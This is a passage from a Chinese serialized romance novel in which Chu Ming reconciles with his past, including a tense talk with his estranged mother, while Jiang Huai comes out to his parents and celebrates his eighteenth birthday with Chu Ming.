寂静里,马海大概是叫了一些之前班上的科任老师,徐老师啊黄老师啊,门敲开时连着走进来好几位,都笑着跟楚明打招呼。 挺陌生的感觉。 但这样温和的面容,两年前的楚明却从未感受到。 他静静地坐在一旁,轻轻颔首,瞳孔里锁着淡淡的疏离:“老师们好。” “哎,好。”几位老师异口同声。 马海把他们招呼过去,像是找到救命稻草,开始扯去年楚明的成绩有多漂亮,好像今年八中的第一名在市里的排名不算理想……总之他们是有话题了。 楚明在人群之里却又像置身人群之外,他很轻地抬眼,等马海安静下来,他轻声问:“卫老师呢?” “卫老师,”马海顿了一下,“哦,你说卫疏啊,她去三中任教了,听说她丈夫也在三中,听着多恩爱啊。” 楚明眨了下眼:“是吗?” 走完尬聊的流程和经验分享,楚明安静地站在走廊里,垂眸看着已经有些陌生的建筑,他轻地抬眼:头顶天空住满了星星,正明亮地闪烁着。 扶着栏杆,他没什么力气地抬了下眉,没抬起来: 他倒是没想到卫疏的选择也是离开…… 距离下课没几分钟,楚明指尖轻动,正要准备回去,偏过头就见楼梯口走来一个人,盘发利落,衣着简单干练,她单手插兜倚墙而站,眉眼冷淡地看着他。 是顾微—— 作者有话说:环境还是挺重要的,希望大家可以选择的话,尽量选择[可怜] 第90章 第 90 章 “我成年了。” 视线相接时两人都愣了一瞬, 楚明无事发生地收回视线,想从旁边绕开直接下楼时,顾微的声音落在耳畔:“回学校拿通知书?” “没, ”楚明不太明显地顿了下, 他站着没动:“回来看看。” “一个学校有什么好看的,”顾微轻呵了声,上下扫了眼他今天的穿着,干净、平常。她抬眉, 语气冰冷地问了句:“今年考得怎么样?” 问期末吗?楚明淡淡地笑了下:“还行。” “报的哪所大学?”顾微继续问道。 “……A大。”楚明眼睫颤了颤, 心头控制不住地有些泛涩。 他以为相隔这么久再看见顾微,他会平静到毫无波澜,事实却是有些人的出现本身就是波澜, 不可避免地会激起情绪。 尤其是顾微故作自然的聊天开场,无比清晰地划开一道沟壑——是隔膜,是鸿沟, 他和顾微之间的纽带, 甚至不敌头发丝的厚度。 楚明静静地看着楼底漆黑的树影,身后是灯火通明的教室,里面还依稀传出同学们瓜分零食水果的笑语, 余光里顾微侧颜冷淡, 像尊冰冷的雕塑。 “A大?”顾微眉梢挑了下:“你考得上吗?” “也许吧。”楚明忽而一笑, 让她对自己的印象停留在许久之前, 或许也不是件多么糟糕的事。 “随你如何说, 反正与我无关。”顾微退开一小步,高跟鞋鞋跟踏出轻响,她声音没什么起伏:“另外,我和楚辉誉离婚了。” “嗯。”楚明轻点头, 这是件意料之中的事情,他补充说:“我成年了。” 闻声,顾微瞳孔轻震,她微微抬眸看着楚明的背影,愣了一下:“我,我知道。” “那,”楚明沉默半秒后转身,很轻地笑了一下:“祝您生活愉快。” 顾微垂下眼睑,“好。”见楚明转身要走,她忽地伸手拉了他一下,力道极轻,几乎是贴着他的腕骨擦过,连楚明的温度她都没感受到。 但楚明却停住了,他没有出声,像是准备安静地倾听。 “楚辉誉走之前跟我说了一些话。”顾微指尖捻了一下,收回,她挣扎着说:“我承认,我确实偏激了。” 楚明微微侧身,余光里能看到顾微的脸。 “以前我确实是不婚主义者,也无一例外地讨厌着世界上所有的男人,但渐渐地我意识到,那份心理的偏差其实来自我的家庭,”顾微轻顿,夜风轻轻拂过,她的声音好像变得柔和:“于是我发誓说,我要生一个女儿,让她在我的教育下健康快乐强大地活着。” 唇被热风吹得干涩,楚明很轻地舔了下,抬眼看着夜空。 “但没想到先出生的是你,抱歉,当时的我似乎对你不太好。我控制不了我自己,当身边的人开始说我生了个儿子,我本能会排斥,心里很不痛快。你、能懂吗?” 楚明轻声:“抱歉,我不能。” “……是吗?”顾微顿了一下,才说:“抱歉。” 楚明点了下头:“嗯。” “你爷爷奶奶吵着说要男孩要男孩,我把你送回去,以为他们会把你照顾得很好。”顾微声音小了些,“这些确实是我没有考虑周全。” 楚明轻地顿了下,没有出声。 “逐云现在是我在带,如果你想的话,”顾微说:“可以……” 楚明淡淡地重复道:“我成年了。” “……好吧。”顾微低声说:“我没什么想说的了。还有的话,大概就是你的同桌,当时的话我确实说得不负责任,我以为在我的强压之下,你对什么样的女孩都不会再有兴趣,怒气之下才想着来恶心你……抱歉。” “嗯,”楚明轻声:“我不想听了。” “我……”像喉间蒙堵着什么,顾微的嗓音厚了些,听觉上不怎么美妙:“那我什么也不说了。” “嗯,”楚明轻点头:“再见,顾女士。” 盛夏晚间的风燥热难免,穿过楼道时,教室里的空调冷气时不时会钻出少缕,楚明感觉有些冷,双臂环胸,手指慢慢收紧,以汲取些许温度。 出了教学楼,离校门口还有一长截空地。 他走下台阶,回头去看了眼艺术体写着的“……第八中学”,眼睫轻眨:再见吧。 清风吹皱额前碎发,楚明倒着退出半步,释怀地笑了下,轻呼气后他利落地转身,却猛地扑进一个温暖的怀抱。 江淮搂住他,手心兜住他的后腰,笑着问:“你站这拍电影呢?” “嗯?”楚明愣住,大脑宕机到几乎没有反应能力,他甚至没展开手臂,让这个拥抱显得极有距离感。 “笑着回眸,帅死了。”江淮边说话边把楚明交缠着的两只手臂拉开,平淡到像是随意之举,而后抓着他的手腕放到自己的腰间,胸膛之间再无阻碍。他小声地说:“还要站会儿吗?” 楚明愣愣地看着他的脸,指尖轻动,便隔着衣料感受到江淮炽热的体温。他微抬头,把下巴搁在江淮肩头:“不。” “那跟我回家,”江淮半推半抱着他往外走,说:“有个活儿给你。” 视线清晰触感实在,楚明彻底被拽回现实,他攥住江淮的手:“什么活?” “拆你男朋友我的录取通知书。”江淮说。 被逗笑,楚明拍了他一下:“前缀再长点呢?” “可以,”江淮凑他耳边:“拆你男朋友未来……” “打住!”楚明捂住他的嘴:“前面去骑车……” “啧,”江淮亲了下他的手心,一步跨到车上坐好,捏住车把手时挑了下眉:“抱着我。” “你摔下去我都不会摔,”楚明笑着说,但还是伸手环紧他的腰,还学之前江淮的动作,慢慢开拓他腰腹地带。 “我操,”江淮晃了一下:“痒死了。” “你以前弄我的时候怎么没想过?”楚明动作没收,相反还更加故意,“好好骑!等会一摔摔俩!” “你不是说我摔下去你都不会摔?”江淮抖了下:“我操,你他妈别摸上面,痒!” “好好骑!看路!”楚明一边警告一边骚扰。 江淮哼哼两声,咬牙切齿地快速往家里骑。 “别飙车啊,”楚明笑着抱住他的腰,没再玩弄:“江司机,遵守交规,从你做起。” “我飙得起来吗我飙!”江淮恶狠狠地回头瞪了楚明一眼:“等我回去收拾你。” 楚明笑了笑:“啧,我等着。”- 填报志愿一向事宜彻底告结,陆陆续续地收完通知书,再吃几顿朋友或者同学或者亲戚的升学宴,看似漫长的暑假实际已经过去一半乃至更多。 吴珊常年无假,叠了好几次假期终于换得一次长休,便亢奋地提议出去玩一趟,去远点的地方。 江竞先被刀架脖子逼着去了,江淮楚明乐意地同往。 “人看人现象,”还没半天,吴珊就摇摇头,苦大仇深地说:“太多人了,不好玩,我们回去吧。” “……”江淮看她一眼:“你当初可不是这么说的。” “有什么办法,你往下看,”吴珊他们正站在观景台,她往下瞟去一眼:“来,儿子,你跟我说,下面黑漆漆白虾虾的是人还是蚂蚁!” 江淮&楚明&江竞先:“……” 长达半月的旅途并不如想象中愉快地结束。 自驾回家的路上,吴珊正在编辑朋友圈,图都没怎么修,她儿子的拍照技术出奇得不错,她正笑着,后排江淮忽地提出让楚明开车。 她自然捧场:“好啊,好啊,我上后面去坐。”说着她行动力超强地拉开后车门坐进去。 “……”楚明默了下:“我只练车的时候开过,别——” “去,”江淮挑了下眉:“你不是有驾照?” 楚明:“……” “多练才能多会,”江竞先点点头表示同意,挪到副驾驶座,还宽慰道:“我当初才开车的时候也不敢上路,但你想想,只有勇敢地迈出第一步,才能有第二步第三步第四步,对吧?” “是,”楚明轻顿。 “上高速再换我就行,这条路开着一点难度都没有。”江竞先说:“放心开,我给你兜底!” 于是在连环的劝说下,楚明坐到了驾驶位,正要去放手刹,就听江淮说:“等等,爸!”?楚明挑了下眉,看着江淮的眼神透着不解。 “没叫你,”像是读得懂他的心理活动,江淮看着他笑了笑,推开车门,快速走到副驾外敲了敲窗玻璃。 楚明先江竞先一步帮忙放下车窗。 紧接着就听江淮开口说:“我要坐副驾。” 江竞先:“……” 楚明:“……” “江淮你坐毛线的副驾!你还过几天才生日,考驾照都还没有资格的人,你跑去坐副驾指挥交通,想害我们呐!”朋友圈已发,吴珊转眼不客气地招呼道。 “我相信他的技术。”江淮说着从里顶开车门,一个眼神飘给江竞先,示意他下车。 江竞先:“……” “我也相信小楚的技术,一考就过,连你爸都是三战人士。”吴珊对着楚明笑了笑,看向已经坐好开始拉安全带的江淮时,话风陡转:“你下去,坐什么副驾!” “我偏坐呢,”江淮回头看着她,挑衅地说:“我不仅现在坐,下半辈子我都坐。” 楚明:“……” 他在心底“操”了一声,给手刹拉回去,避着夫妇俩的视线快速拉了下江淮的手。 “江淮你个傻逼!”吴珊皱了下眉:“你知道副驾坐谁吗?等小楚以后会开车有车了,他的副驾肯定是他女朋友啊,你在这争什么争?” 江淮轻挑眉,毫不遮掩地说:“他是我男朋友,副驾,不坐我坐谁?”—— 作者有话说:其实本来按我估计这章都该做了的……我果然估得不准[害羞]《 》 90-96 第91章 第 91 章 “你随便糟蹋。” “什、什么?”吴珊放下手机, 江淮的每个吐词都平稳地滑过她大脑皮层,按理讲她平时听员工上百字上千字的汇报能不到半分钟提出意见或者反驳,但现在她甚至都没能完全反应明白。 “很难理解吗?”江淮看着她, 重复了遍:“我说楚明是我男朋友。” 毫无悬念地, 车内瞬间陷入寂然。 自驾线路特意调整导航绕远,现在车子正停在路边,位置还挺偏的,在一个不知名的小村庄附近。 楚明默默收回拉着江淮的手, 看着他的侧脸, 又默默地窝回车座里,避开后座的视线,他用口型对江淮说道:“你干嘛?” 江淮也往后仰了些头, 无声地问:“不愿意?” 楚明轻顿:“……愿意。” 看口形不如听声音,怕江淮误会,他压下原本“也不是”的回答, 直接应了。 “等, 等一下。”吴珊皱起眉头思考许久,往前一看江淮楚明的脑袋神同步地各自偏向两边,意识不到自己身高体形似的掩耳盗铃地窝起来, 一瞬间她诡异地想:还挺般配。 “嗯?”江淮坐直, 回头看她:“要我们接个吻才信?” 楚明:“……” “……你, ”吴珊才舒展了一点的眉毛又皱起:“你懂不懂什么叫委婉!能不能委婉点!” “委婉了鬼知道您要想到哪里去, ”江淮无语地说:“怎么我爸没跟您讲过吗?” “嗯?”吴珊坐直, 猛地甩了一记眼刀扎向江竞先:“你知道?!” 江竞先轻咳一声:“这……小江高二的时候不就已经说他谈恋爱了嘛。” 吴珊眉毛越皱越深:“什么?” “你看,”江淮故作嫌弃地说:“又耳背,委婉了还得了!” 吴珊:“……” 她伸手捋平皱巴巴的眉毛,清清嗓子, 一本正经地问:“你那时候不是说女朋友吗?” “这个他倒没说,”江竞先温温和和地说:“你的思维惯性先入为主了。” “就是女朋友啊,那我当时问小楚小楚他都没否认,”吴珊嘴比脑子快,说出口想收回已经来不及了,她伸手捂了下嘴,谨慎地问道:“所以,那个时候,你们就……” “是,”楚明没再躲着,也探出头来。 “是、是这样啊,”吴珊沉沉地呼气,眯起眼睛细细打量着看向自己的两张脸蛋,像被戳中什么穴位一样她忽地弹了一下。 江淮拧了下眉:“有病?” 吴珊:“……“ 她摆摆手,摆完手搭在副驾的头枕处,“难怪我之前说我喜欢楚明的时候,你没头没脑地冒一句你也喜欢,我以为你挑衅我呢。” “呵。”江淮冷笑一声:“挑衅你个毛线,我还吃醋呢。” “停!”江竞先伸出他那只堪比和平鸽的手挡在母子俩中间,温润儒雅地张嘴说话:“你妈没挑衅你儿也没吃醋,都别多想,别多想。小楚,开车!” 突然被点名,楚明坐直,目光滑过江淮的脸重新看向方向盘,轻顿,扫了一遍离合刹车油门,才开始点火启动。 车辆启动,隐隐能听到发动机带出来的引擎声,紧接着楚明慢慢地踩下油门,换挡动作一气呵成。 稀奇地,汽车跑起来的瞬间,三人不约而同地把注意力抛向楚明。 “嗯……”楚明握方向盘的手轻顿,他踩离合迅速换到三档,平稳地跑起来时才说:“你们别这样看我,怪吓人的。” “挺帅的,”江淮说。 吴珊&江竞先:“……” “你闭嘴,”楚明喉间轻滚,他目视前方不敢有动,证是去年拿的,拿完之后他还没找到机会开,现在全凭一些肌肉记忆,生怕哪哪不对等会连人带车翻沟里。 “啊,我闭嘴,”江淮笑笑,他挑了下眉:“你车开挺稳的啊。” “是吗?”楚明拧眉:“我感觉开得不太稳。” “非常不错了,”江竞先点点头,说:“我发现小楚学习能力是挺强啊,胆子也大,让开车到位就开走了。想当初我拿到证被架着自己上路的时候,别说挂五档,二档都小心翼翼,还一直装尿急想下车……” 差不多进入状态,楚明松了口气:“其实,也还是怕的。” “听着挺怂啊,爸,”江淮回眸:“您该早点儿生我的,我还能给您送尿不湿。” 江竞先:“……” “早点生?他跟谁生,江淮你的思想很危险啊!”吴珊探出颗头:“江竞先你说说你多少岁认识的我!” 江竞先瞬间就坐得板正:“啊……” 楚明听得想笑,小声地对江淮说:“你少说点,跟火星子似的飞哪炸哪。” “谁让他们一点就着,”江淮懒懒地伸了个腰,歪过脑袋盯着楚明轻放在方向盘上的手,皮肤冷白指骨分明,修长而有力,他视线稍偏,淡淡掠过锁骨和漂亮的脖颈落在他侧颊,很轻地笑了笑。 “你坐好,”楚明说。 “嗯?”江淮不明所以地应了声。 楚明轻声说:“挡我后视镜了。” 江淮:“……” 他又默默地把后背抵实到座椅,只用余光瞥着楚明- 八月出头全国各地仍笼罩在炎热之下,焦烫的阳光充斥着街头巷口每处角落,稍微多在日头下待会儿,人就被晒蔫儿了。 顺应天时的,江淮的成人礼安排在九号晚上。 才八点出头就听门铃响了,身侧楚明还沉沉地睡着,没设闹钟他从来不会主动早起,江淮贪恋地伸了个懒腰,趿着拖鞋出卧室前还专门把窗帘拉得更紧,隔绝掉隐隐泛出色彩的那缕日光。 拉开门时他轻地一顿:“叔。” “好久不见啊小淮,”三位近中年的男人端端正正地站在门口,其中排头的还抬了下手:“想我们没啊?” “没有,”江淮退了一步让他们起来,从鞋柜里拎了三双一次性未拆封拖鞋:“我爸妈居然还留着你们吗?” 三位:“……” 刚开口的那位小眼睛叔叔说,“是还留着,干回本业,洒扫庭除。” 江淮轻点头,弯身正要拆拖鞋就被叔叔拦下,他轻顿:“嗯?” “我们就不进去坐了,“小眼睛叔叔把手机屏幕亮出来,上面还留着几句聊天记录:“珊姐让我们先带你过去打扮打扮,今晚不是小淮你十八岁生日嘛!” 江淮拧了下眉:“什么鬼?” “打扮打扮,穿个西装打个领带这种。”小眼睛叔叔笑道:“珊姐特别叮嘱,九点你必须到。” 江淮下意识往后退出半步:“不到呢?” “那不就是到我们的副业了嘛。”另一个叔叔笑着撸起并不存在的袖子,两腿微张展示底盘:“之前我们就是这么带你去看病抓你去学校的,还有印象吗?” 江淮:“……” 死去的记忆一点点复苏,他轻挑了下眉:“你们确定现在还打得过我?” “那不能,”小眼睛叔叔晃了晃胳膊上的肥肉:“但一日为跆拳道师终生有恩,小淮你肯定不舍得打我们这几位叔叔的。” 江淮:“……” 他没辙只好应下,回房间简单换下衣服时还给楚明留了纸条,八点二十左右跟几位叔叔的车走了。 九点抵达酒店,九点十分江淮被推去泡澡。 “干嘛?”江淮轻顿:“我泡个屁的玫瑰浴!” “珊姐吩咐的,”叔叔之一无奈地摊开手:“不执行我们连主业都没了,小淮你会心疼我们的吧?” 江淮:“……”我心疼你个奶奶腿。 但面对被强扒衣服和自己脱的世纪选择,他冷呵着自己跳了。 被泡得人发麻,他被打捞起来去挑衣服,本该是一分钟就能选择好的事情,电话一响吴珊闪亮登场,他被刀架脖子不得不行地跟着他妈去逛商场,耗时三个半小时挑到两套合体的纯黑西装。 差不多下午两点吃饭,他跟楚明打了个电话报完平安发完牢骚,又被推进化妆间去整理发型。 “我靠,来之前也没跟我说这小孩这么帅啊,”化妆师面上还带着疲累,透过镜子看到江淮的脸时眼睛都亮了:“早说呢,我自己两个腿就跑来了。” 江淮抬眼,正要说话就见她身后还跟着个女孩,四目相对时他轻挑眉:“你怎么来了?” 零号网吧负责接待的彩妞,先前五颜六色的头发全染黑了,这么看起来还算正常。 彩妞腼腆一笑:“阿越哥说我有审美适合去当化妆师,我就应聘到了小助理。” “是吗?”江淮收回视线,看向镜子时发现化妆师还盯着自己,他轻顿:“你按小时收费吗?” “哎呀,”化妆师回过神来,完全没有体会到江淮话里的深意,只雀跃地说道:“今天免单都可以,你长得实在在我的点上,帅成啥了都。” 江淮:“……”- 楚明起床的时候恰巧接到江淮的电话,笑着听他抱怨完,他才爬起来洗漱。 按照请柬时间,江淮的生日会在傍晚六点半开始。 预计四点出门,楚明便在闲暇里给自己煮了点饭炒了个菜,正端出锅就听有人敲门。 “我,我,我。”严越戳着猫眼,声音微喘着说。 见状,楚明没再多问直接拉开门,“有什么急事吗?跑成这样。” “嗯!好香,”严越进门时挑了下眉,“没什么急事,你才吃饭吗?” “起得晚了点,”楚明带门,弯腰帮他拿了双一次性拖鞋。 严越两脚蹬上,往旁边坐到沙发上,休养了半分钟才说:“你先吃饭吧,我先歇会儿,外面都不是人能待的,快给我热成人干了。” “要来点丝瓜汤吗?”楚明说:“清热。” “要!”严越一溜烟就坐到了餐桌上,双眸渴望地看着楚明。 楚明:“……” 等吃饱喝足,严越才表达了他来这里的任务,帮楚明挑衣服和简单打扮打扮。 “嗯?”楚明轻顿:“我——” “别拒绝,不然我会被珊姐骂成屎壳郎的。”严越说着开始转道:“你俩共用衣柜吗?” “……不完全,”楚明说:“大体还是分用的。” “嗯,好。那我先去上个厕所,等会出来就跟你去卧室看看有什么能穿的。”严越说着便快速遛进厕所。 这话提醒得太明显了,楚明轻顿,其实卧室床上床下都没什么暧昧不清的痕迹,即使有昨晚也清了。但他还是先一步进去看了看,确保万无一失。 估计连洁厕灵的配料表都读完了,严越在厕所逗留良久才出来,伸了个懒腰:“来,让我看看有些什么。” 楚明坐在床沿,面对严越正打量着的衣柜,轻声提醒:“这边是江淮的。” “挑的就是他的,”严越挑了下眉:“这是江哥的要求,不是我提的哦。” 楚明:“……”- 距离生日会开始还有半小时,江淮已经被捯饬好了,他站在镜子面前,轻地顿了下。 “是不是被自己帅到了?”化妆师笑着说:“头发梳上去额头露出来,小缕头发拉出来做装饰;黑西装黑长裤,我操,等会你出场绝对爆掉!” “是吗?”江淮很轻地笑着,他眯了下眼:“我手机呢?叔。” “在这儿呢,”小眼睛叔叔夹着他的手机走过来:“要干嘛?” “打个视频,”江淮说着又坐回椅子里。 “哎——”化妆师伸手制止了一下:“是给你对象吗?” 江淮心情颇好地应了:“嗯。” “别,别打视频,”化妆师说:“现实看绝对比视频看惊艳一百倍一万倍,帅哥你相信我,等你对象到场,你直接把脸怼到她面前,我操,我跟你说神来了都抵不住诱惑。” 江淮:“……” 这提议听着其实并不靠谱,但江淮还是没拨视频,只简单问了句他到没。 【Cming】电梯里。 【Cming】你被折腾明白了吗? 【狗】嗯,想看吗? 【Cming】想。 【狗】现在不行。 【Cming】? 江淮笑了笑,捧着手机乐半天才继续回: 【狗】晚点再给你看。 【Cming】好。 今天来的人挺多,那些看着有排面的主要是吴珊请来撑场子的,接着便是江竞先的一些朋友,余下的几大桌基本都是江淮认识的朋友和老师。 面对班主任覃雁的气压,同班同学拿碗拿筷子拿卡片挡脸,生怕被看到。 好在严越脸皮比较厚,即使这次高考发挥失常,但仗着卡机制卡到的好大学,他拉着楚明乐呵地跑去敬酒。 “C大?”覃雁挑了下眉:“真的啊?” “嗯哼,”严越骄傲地点了点头:“专业捡漏一百年,虽然专业不怎么好,但大学综排全国第四,不错吧?” “诶哟,厉害厉害!”覃雁笑着喝完他敬的这杯酒,见他身边还有位同学,打过照面不多,但跟江淮玩得挺近,她有印象,“这位同学怎么穿着校服来啊?” “青春,多青春!”严越笑着说:“覃老师,他叫楚明,去年八中文科第一,考去A大的那位,也是他帮我留意到C大的补录还成功帮我抢到,厉害吧?” “久闻大名!”覃雁眼睛一亮。 楚明嘴角含笑:“老师好。” “真厉害啊,”覃雁笑着说:“江淮也进的A大,果然优秀的孩子都玩在一起。” 跟老师这桌寒暄完,严越和楚明才回自己那桌坐着,赵逵逵他们瞥到楚明身上这件三中校服,眯了下眼:“不是,穿校服是有什么特殊含义吗?” “江哥的校服,”严越挑眉:“你说有没有特殊含义?” 赵逵逵:“……” 在座:“……”我操,被秀到了! 楚明轻地笑了。其实原本要穿的是件衬衫,但严越翻着翻着把那件黑白校服翻了出来,那一瞬间不知道怎么,他脑子里忽然冒出一个想法:他想穿江淮的校服。 “等会给江哥迷死,”严越眨了下眼,听到楚明要穿校服时,他先是说了一句“好他妈有性缩力”,可转念想,他又觉得挺不错的。 高三这段时间他经常跟江淮楚明混在一堆,楚明那些过往他也了解,可能他们心照不宣地都有过假设,假设楚明是在三中度过的高中…… 压住眼底的情绪,他端起白水杯跟楚明碰了一下:“清纯男高,别提多稀有了。” 楚明被呛了一下,只浅浅地跟他碰了一下。 随着主持人念词开场,无趣的环节被快速忽视掉,紧接着伴随一阵气势极强的背景音乐,一应灯光同时暗掉,全场躁动的寂然里,台上聚光灯亮起,黑色的一条人形剪影进入视野。 “哇——” 压抑着的惊呼声里,江淮很轻地挑了下眉,站定,视线便飞快地扫向人群,在不到一秒的时间里精准捕捉到楚明的位置。 看清楚他穿着的校服,他愣了一下。 台下楚明呼吸短暂滞停,对视瞬间心跳像是漏掉一拍,总之心脏的搏动已然到不可忽视的程度,他端着水杯的手微微捏紧,像被完全吸引,他的视野里仅有一个江淮。 “我操,帅成这样!”严越感叹了句:“你俩到底谁诱惑谁,我操!” 不止这桌年轻人,连前面那些中年男人都不可遏制地发出一声声惊叹:“哇……” “好了,今天我们的主角便到场了,”主持人开始读词:“……现在,让我们掌声有请爸爸妈妈上台!” 吴珊江竞先今天穿得并不正式,反倒很日常,到致辞环节时吴珊接过话筒,自信大方地说完一席话,笑着停了一下,喊道:“小楚,你上台来。” 楚明微愣,还没反应过来时江竞先就站到了他旁边,伸出单只手,是要牵他的意思。 “别怕,”江竞先说:“跟我走。” 楚明还没完全反应过来:“……嗯。” 前脚楚明站上台,后脚江淮就勾住了他的手,握紧。 严越那桌瞬间爆开一阵刻意压低但实在压不低的惊呼。 “心急什么!”吴珊移开话筒小声地训斥了江淮一句,又笑脸面对来宾:“这位是楚明……” 话音落时,身后的大屏同步展示着江淮和楚明的照片、A大录取通知书…… “我操,双A大!” “这么牛逼……” “啊……” 整段致辞其实没什么特别的,但偏偏身后的江淮毫不避讳的牵手和一寸不移的注视,基本有点眼力见的,都看得出来才上台的少年和江淮的关系。 台侧的化妆师眼睛亮成灯泡:我靠,之前也没跟我说他对象是男的哇,早说呢,我自己一张嘴两个眼睛就磕起来了啊! “那让我们拍张照片定格这一美好画面……”主持人定期露声。 “咔嚓——” 江淮楚明并肩站立,十指相扣共抱花束地站在最中央,而在他们身后,吴珊江竞先分列两边,手轻地搭在他们肩头。 台上响起热烈的掌声。 接下来江淮还有致辞吹蜡烛环节,得多在台上站会,楚明则被吴珊牵着下台,回到座位时肩膀轻地被她拍了下。 “我儿子,”吴珊说:“你随便糟蹋!” 楚明:“……” 他很轻地笑了笑:“我会爱护好他的。” 吴珊愣了一秒才拍拍他的肩:“好,有你这句话我就放心了。江淮他吃硬不吃软,平时能骂就少说,能打就少骂,总之别让他欺负到你,听到没有?” 楚明:“……” “诶诶,你这让小楚怎么接话,”江竞先无奈地拉了把吴珊:“反正都快快乐乐就好。” 楚明点了下头:“谢谢叔叔阿姨。” 吴珊连忙摇头:“诶,叫妈——” 楚明愣了一下。 “别急别急,”江竞先立刻说:“先不用改口,改口费都没给你这行为算流氓懂吗?等段时间再叫也不迟,你还说江淮,你比他还心急!” “这不是怕小楚跑了吗?”吴珊腼腆笑道:“我上哪找这么好的人。” 楚明笑着跟他们说了几句,才回到餐桌。 见他回来,严越仰着头就看了过来:“我操,这真的不是订婚吗?”—— 作者有话说:还记得那三位叔叔吗[抱抱][抱抱] 第92章 第 92 章 是他正疯狂喜欢着的人。…… “我俩兄弟真般配啊!”赵逵逵摇头摆脑地发出一声感叹。 “我靠, 都订婚了?”应邀而来的杨棉棉睁圆了眼睛:“我靠啊……”她当初果然没看错! ……在一阵激烈的“拷问”里,楚明淡淡地笑着和他们依次碰过,不算负担, 幸福地喝着一杯接一杯的白水。 等对接完汤麟的啤酒, 楚明落杯时轻地扶额,严越关照地看向他,突然一拧眉:“我操,白的?” 楚明默了一秒:“水。” “哦, 不好意思。”严越晃了晃手里的红酒:“我以为你也倒的酒, 怎么,不舒服吗?” “没,”楚明无奈地说:“我去趟厕所。” “啊, 哦,哈哈哈……”严越没憋住,差点一口红酒喷半边天, 笑得往后仰了下头:“快去快去, 有好吃的我单独给你留两份。” “嗯。”楚明轻手轻脚地往厅外的厕所走。 “……站在十八岁的起点,我想,此时此刻, 你一定会有诸多感言, ”主持人笑着把话筒递给江淮:“接下来我们听听属于你的‘成人感言’。” 目送着楚明推门离开, 江淮心不在焉地收回视线, 微微欠身淡淡开口:“上个厕所。” 主持人:“……” 台下也接续着发出一阵笑声。 没办法, 主角离席,“主角”来凑。 “那么在此之前,我们先看一段视频,”主持人生硬地转折。 于是大屏幕上开始播放一段长达十五分钟的视频, 视频里的主角是江淮,剪辑手法比较简单,倒放的时间线,从17岁往前倒推。 画面里的江淮还套着校服,不同于今日着装成熟,从里到外都散发着青春的气息。素着的脸颊侵占整张大屏时,底下难免又躁动一片。 “我操……” “好帅啊……” 耳边这桌人的感叹格外多,严越看惯了倒也觉得还好,他淡淡地扫了眼身边的空位和台上孤零零的主持人: 呵,急这一会么江哥!- 大门隔绝掉欢呼和音乐,出来的瞬间有种世界安静了的错觉。 等耳朵落满稀碎的杂音,听觉恢复敏感,江淮已经跑进了厕所。他出来得晚了两步,只隐约捕捉到楚明走的方向,还在思考有没有走错,公共区域里楚明的身影便映进镜面。 三中校服比起一般学校来说已经能算得上好看了,白底黑条,简单的图案装饰透出一股素净的美——当然也可能因为穿着它的人是楚明。 是他正疯狂喜欢着的人。 视线一瞬在镜子里碰撞,楚明有些意外地抬眉,正要说话手腕便被攥住,耳边江淮轻地“嘘”了一声,示意他别说话。 楚明下意识抿唇,安静地看着镜子里骤然出现的脸,难以抑制地他心跳加速。 这处空间里格外静谧,除却彼此的呼吸起伏,好像什么都不存在。 江淮扣上楚明的后腰,稍用力地往里带去,楚明愣着踉跄了两步,没反应过来便被江淮按进隔间,楚明后背重地砸在门板,他拧了下眉,再度抬眼时江淮的脸便近在咫尺,微凉的气息迎面扑来,填满嗅觉时他的嘴唇也被撬开。 太过急切的索取,楚明险些没承受住,手指胡乱地扒拉着门板寻求支撑。 余光注意到这点,江淮兜住他腰把他扣向自己,微微偏头鼻尖错开他的,侵略性的目光带过他眼睛,认真地落到嘴唇,吻上去时他轻阖眼。 脸颊被呼吸蹭得发热,楚明后背靠实之后搂住他脖子,沉溺其中地去回吻。 不知道为了多久,江淮呼吸沉重地偏过脑袋,下巴轻地搁在他颈窝里,贪恋地嘬了口楚明的脖颈,他微喘着说:“怎么办?” “嗯?”被吻得大脑缺氧思考作难,楚明下意识问出声,但其实在新鲜空气灌入鼻腔时,感官回笼,他清晰地感觉到有什么东西顶到自己。 他喉间滚了一下,气息不稳地说:“……缓缓。” 笑声轻地溢出唇间,江淮抱紧他,蹭了蹭:“阿楚。” “嗯。”楚明拍拍他的后背,有些走神地感叹了句衣服料子真不错。 “等会陪我吹蜡烛。”江淮小声地说:“好不好?” “好……”楚明应下后才反应过来:“不对,你才是寿星。” “不管。”江淮说。 楚明笑了声:“好。” 两人差不多都缓和得差不多才走出隔间,站在镜子前简单整理衣服。 “我操,”江淮看着镜子里的自己,化妆师姐姐给他抹了点口脂,说是精神面貌更好。但这会基本没了,乱七八糟地蹭在嘴唇边。 不需要任何想象力都能想象到刚才吻得有多激烈。 楚明也没好到哪里去,校服外套被江淮蹭得皱巴巴的,影绰间还能看到淡淡的唇印。 楚明脱掉外套搭在小臂,简单整理好里面的短袖,便开始整理江淮,小心翼翼地洗掉那层口脂,他挑了下眉:“其实也没差。” “好像是,”江淮笑笑。 把弄歪的领带拉好,微皱的部分捋平,楚明轻呼气:“走,该回去了。” “嗯。”江淮搂着他的腰,走之前又往镜子里简单看了眼,应该看不出破绽,他轻勾唇,和楚明走了出去。 鉴于出去时间有异,楚明先回去。大屏播放视频,后面位置的灯光特意关闭,从暗光里走进去时他往大屏上扫了一眼。 播放着的视频里,对焦的是六七岁的小江淮,他正抱着篮球。年纪还小脾气天大,看镜头时表情冷冷的,像是企图冻死拍照的。 他没忍住笑了声:怎么那么乖。 回到座位才坐下,严越就回头瞅了他一眼,表情微妙地笑笑,又慢条斯理地递给他半杯橙汁,小声说:“回来了?” 楚明莫名有些心虚:“……嗯。” “啧,”严越摇摇头:“啧,啧啧。” 楚明:“……” 他埋头小口小口地喝着橙汁,嘴角含笑地看着屏幕里年纪越来越小的江淮,表情没那么冷了,到后面还有小江淮抱着毛线球玩的视频,小手小脚小脸,被毛线球绊了一跤,在地上滚了一圈,又爬回来哼哼嗯嗯地闹着。 难怪吴珊经常跟他说没上学之前的江淮多乖多黏人…… 半分钟后江淮从侧门进去,见视频还有几分钟才结束,他便站在台侧。后半部分的视频光线偏明偏白,间歇性地照亮他的脸。 正啃着西瓜的化妆师摇头晃脑地感叹:“哎呀乖死了这娃,我感觉我都能闻到他身上的奶香味,好想偷回去……” 视线一偏,看清楚站在台侧的江淮的脸,她虎躯一震! 连忙连皮带瓜全啃了,她捞着化妆包飞奔前往:我操!老娘才化的妆,怎么掉了?! 江淮摸出手机跟楚明发消息。 【狗】来我这儿。 【Cming】好。 